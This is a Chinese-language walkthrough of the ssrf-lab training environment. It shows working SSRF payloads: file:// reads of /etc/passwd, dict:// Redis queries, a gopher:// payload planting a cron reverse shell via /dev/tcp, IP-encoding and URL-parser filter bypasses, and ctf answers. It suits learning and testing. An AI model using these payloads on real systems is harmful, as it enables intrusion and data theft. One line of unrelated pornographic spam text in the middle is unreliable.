SSRF 漏洞学习实验环境推荐及过程记录

本文作者: Seas0n (信安之路首次投稿作者)

项目地址:ssrf-lab/basics/www/testhook.php at master · m6a-UdS/ssrf-lab · GitHub

在网上找到一个学习 SSRF 的环境,SSRF-LABS 有一个好看又简洁的界面,提供了最基本的 REST API 和客户端 WebHook 功能用于 SSRF 测试。前面只是大概的介绍,知道就好,不用花费过多精力了解。

SSRF 介绍

服务端请求伪造,用户通过 WEB 访问/上传/发出请求,绕过服务器防火墙,获取服务器及其内网信息。SSRF 可以说是一个媒介,结合服务器中的服务,常常可以形成一条完整的攻击链。

环境准备

我的环境是 Ubuntu16.04,如果使用其他的系统,可能安装 docker 的方法不同,可以到网上搜一下。下面为安装 docker 的步骤。

$ curl -sSL https://get.docker.com/ | sh #脚本安装docker
$ apt install docker-compose #安装docker compose

先按照下面的命令把 basic 这一关搭建好,其他的基本相同。在创建容器的时候避免出冲突,端口 8999 在设置要注意,避免与本地已开启端口产生冲突。

$ git clone https://github.com/m6a-UdS/ssrf-lab.git
$ cd ~/ssrf-lab/basics #进入basics文件夹
$ docker build -t ssrf-lab/basic . #构建镜像
$ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
$ docker ps #查看ssrf-lab/basic容器编号
$ docker stop [容器编号] #关闭容器

在 Advances 系列的文件夹还有 ctf 中没有 dockerfile 文件,只有 docker-compose.yml 文件,这时候我们就要在构建镜像的时候就换 docker-compose 来创建镜像并开启容器了。

$ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
$ docker-compose up -d #开启容器 
$ docker-compose down #关闭容器

在开启容器的时候的时候出了问题,因为在官网找不到 urllib2 的下载路径,编辑 ~/ssrf-lab/advanced2/flask-webserver 文件,去掉其中的 urllib2。

Part 1:basic

实验过程

打开页面,OUTGOING WEBHOOK 部分输入的 https://yourhandler.io/events 是有 REST API 监听的需要测试项目,在 SEE THE RESULT 的部分会显示请求响应的结果和状态码。输入 https://yourhandler.io/events 的位置就可以作为一个测试点。

我们先用 http://127.0.0.1 进行测试。

发现数据显示出来了,说明这里没有对内网 IP 进行限制。

为了进一步进行测试,我们来了解一下 URL 的结构。

scheme://user:pass@host:port/path?query=value#fragment

从结构中我们可以看出不同的 SSRF 的利用姿势,有协议、URL 绕过等等。这一关就尝试从协议入手,用 file 协议代替 http 协议或者 https 协议。在测试点输入 file:///etc/passwd 我们可以得到用户文件,我们也可以通过这样的方式获得其他文件。


成功之后我们可以通过深挖配置文件和源代码进行我们进一步的渗透,比如获得数据库的用户凭证。这里成功实现是因为URL没有经过严格的过滤,更准确地说应该是完全没经过过滤,下一关不会这么简单了。

SSRF 协议中的利用

看了很多教程都是结合 Redis 服务一起讲的,为了方便介绍下面几个协议,我们先在 ssrf-basics 容器里面安装该服务。

$ docker ps #查看容器编号
$ docker exec -it [ssrf-lab/basics容器编号] /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务

这一关可以利用协议收集信息及反弹 shell,都是没用协议白名单的锅,导致多个协议利用起来毫无阻力。

file

上面尝试的过的 file:///etc/passwd 就是利用了file协议,利用这个协议可以读取主机内任意文件。

dict

利用dict协议, dict://127.0.0.1:6379/info 可获取本地redis服务配置信息。

还可以用 dict://127.0.0.1:6379/KEYS * 获取 redis 存储的内容

Gopher 协议

通过 Gopher 协议可以反弹 shell,下面为具体的 exp

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

这个看起来不太清晰,urldecode 之后,就可以看到具体的命令。下面为解码之后的内容,我把关键的 redis 指令放到同一行中。

在页面能看到如下的回显

为了验证是否成功了,我在 ssrf-lab/basics 容器里面查看插入的 KEY 值。

Part 2:Advance1

实验过程

这一关用了正则表达式限制内网IP的访问,具体的代码如下。必须要吐槽一下,这个方法真的是一个很糟糕的方法,因为它实际上不能起到很好的安全防护作用。

if (preg_match('#^https?://#i', $handler) !== 1) {  
    echo "Wrong scheme! You can only use http or https!";  
    die();
} else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) {  
    echo "Restricted area!";  
    die();
}

现在我们就用 http://10.0.0.3 来测试

我们可以很明显地看到没有获得响应,但是神奇的IP地址有多种表达方式,我们可以用这些方式来绕过上面那么直白的限制。先用整数表达 http://167772163 发出请求。


成功了,我们可以来看看 IP 地址的表达方式。众所周知,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。

字符串:       10.0.0.3
二进制:       00001010 . 00000000 . 00000000 . 00000011
十六进制:    0A.00.00.03
整数:           167772163

这些表达方式都能被 curl 命令解析为正确的 IP 地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制 0x0A000003 表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在 20 前面加个 0 就会变成8进制,比如 http://01200000003 实际上还是 http://10.0.0.3 。上面两个表达方式,PHP 的 curl 模块能解析出来。

下面总结一下几种变形

十六进制:   http://0x0A.0x00.0x00.0x03
八进制:       http://012.00.00.03
八进制溢出:http://265.0.0.3

最后一个变形好像只适用于 NodeJS 应用的服务器,点分十进制的最大值为 255,一旦超出了这个数,将会被重置,这个时候最后一个变形就会变回 http://10.0.0.3 。具体为什么可以通过这样的可能要从 TCP/IP 解析 IP 地址的逻辑入手(应用层的限制总能被巧妙地绕过,不是很可靠)。

其他常见的绕过方法

DNS泛域名

xip.ioxip.name 这两个 dns 泛域名,实现绕过的方法是,你在你想访问的 ip 地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的 IP 地址,然后再响应报文中返回。感兴趣的可以看看 《DNS 服务系列之一:泛域名解析的安全案例》:

DNS服务系列之一:泛域名解析的安全案例_51CTO博客_dns 泛域名解析

http://www.10.0.0.3.xip.io
http://mysite.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://www.10.0.0.3.xip.name

还有很多其他的绕过方式,因为在这个环境里不能实现,所以就不在这里补充了,《SSRF 漏洞的利用与学习》:

SSRF漏洞的利用与学习 · Uknow - Stay hungry Stay foolish

一文中比较全面。没有仔细研究过为什么 Python 写的后端代码不能实现其他绕过,不过我猜是因为Python的 urllib 和 PHP 的 curl 解析方式不同,如果以后有机会,会深究一下里面到底有什么不同。

Part 2:Advance2

在安装这个环境的时候,一定要注意端口的配置,如果出现了 ERROR: Pool overlaps with other one on this address space 的报错,可以按照 移除 docker 网络:

伊人久久精品线影院_日韩a级片在线观看_日本精品久久久久精品三级_日韩毛片免费线上观看_69国产成人综合久久精品_久久精品国产自清天天线

这篇文章进行操作,记得先将 docker 给关掉。如果之后还有方法可以避免产生这个报错,例如正确地修改配置文件之类的,我会补充在后面。已经尝试过更改 docker-compose.yml 文件中的端口不起作用了。

这一关为了避免和上一关一样,代码中没有自己实现IP解析的功能,而是选择调用 python2.7 自带的库函数解析 IP 地址,具体代码如下:

url=request.form['handler']
host = urlparse.urlparse(url).hostname
if host == 'secret.corp':    
    return 'Restricted Area!'
else:    
    return urllib.urlopen(url).read()

上面的代码用了 python2.7 中的 urlparse 模块来解析 url,该模块能够解析多个协议。获取了 url 中 host 参数之后,再对域进行判断。

跟第一个环境一样,我们先用 http://secret.corp 来测试。

URL 解析器分析出这部分内容是访问已被限制的域,下面要介绍一个新的知识点了,我们先来测试一下它能不能起作用。在测试点输入 http://google.com# @secret.corp

绕过这个到底是基于什么原理呢?让我们再次回顾一下 url 的结构

scheme://user:pass@host:port/path?query=value#fragment

原来 http://google.com# @secret.corp@ 后面的 secret.corp 是真正要访问的 host,前面的 google.com# 绕过了 urlparse 的解析。感觉很神奇而且让人有点摸不着头脑,了解一下原理会好很多。SSRF 漏洞产生的根本原因是 url 中有空格(CRLF 注入),这让 python 中的两个模块解析 url 的时候起了冲突,urlparse 认为 host 是 google.com,而 urllib 则认为真正的 host 是 secret.corp 并且直接发出了请求。

为了进一步阐述上面漏洞利用的原理,用 python 写几行代码来验证一下,如果有点混乱,可以再看看上面的源代码,用 urlparse 解析 URL 进行判断是先于调用 urllib 发出请求的。下图为 urlparse 解析的结果,在 python2.7 和 python3.5 两个版本中都是一致的

为了能够进一步验证 urllib 能否正确接收到,在 VPS 上输入命令 nc -lvvv 9444 监听本地 9444 端口,再按照下面命令通过 python 发送请求:

$ python
$ import urllib
$ url = "http://google.com# @[VPS的IP地址]:9444"
$ urllib.urlopen(url).read()

之后在开启监听端口的服务器可以接收到如下的回显:

验证完毕。

advanced3

advanced3 感觉作者代码不完整,感觉像在测试阶段,尝试过修改源代码,但是实际情况并不如我所想。所以这里就不丰富这部分内容了,如果之后作者对这部分题目有修改,我会对这部分内容进行补充。

ctf exp

下面是 ctf 题目获取 flag 的方法,因为我不是亚马逊的服务器,所以获取不到 ctf 最后一题的 flag,如果想尝试的,可以看看这篇文章:

Server-Side Request Forgery (SSRF) Attacks - Part 1: The basics | by Maxime Leblanc | poka-techblog | Medium

最后这个题目大家可以作为练习,到最后才看 payload.....懒人就不重复说前面的内容了,来试试自己掌握了没有吧!

1 http://secret1.corp
2 file:///etc/passwd
3 http://10.38 #a000026、167772198
4 http://google.com# @secret3.corp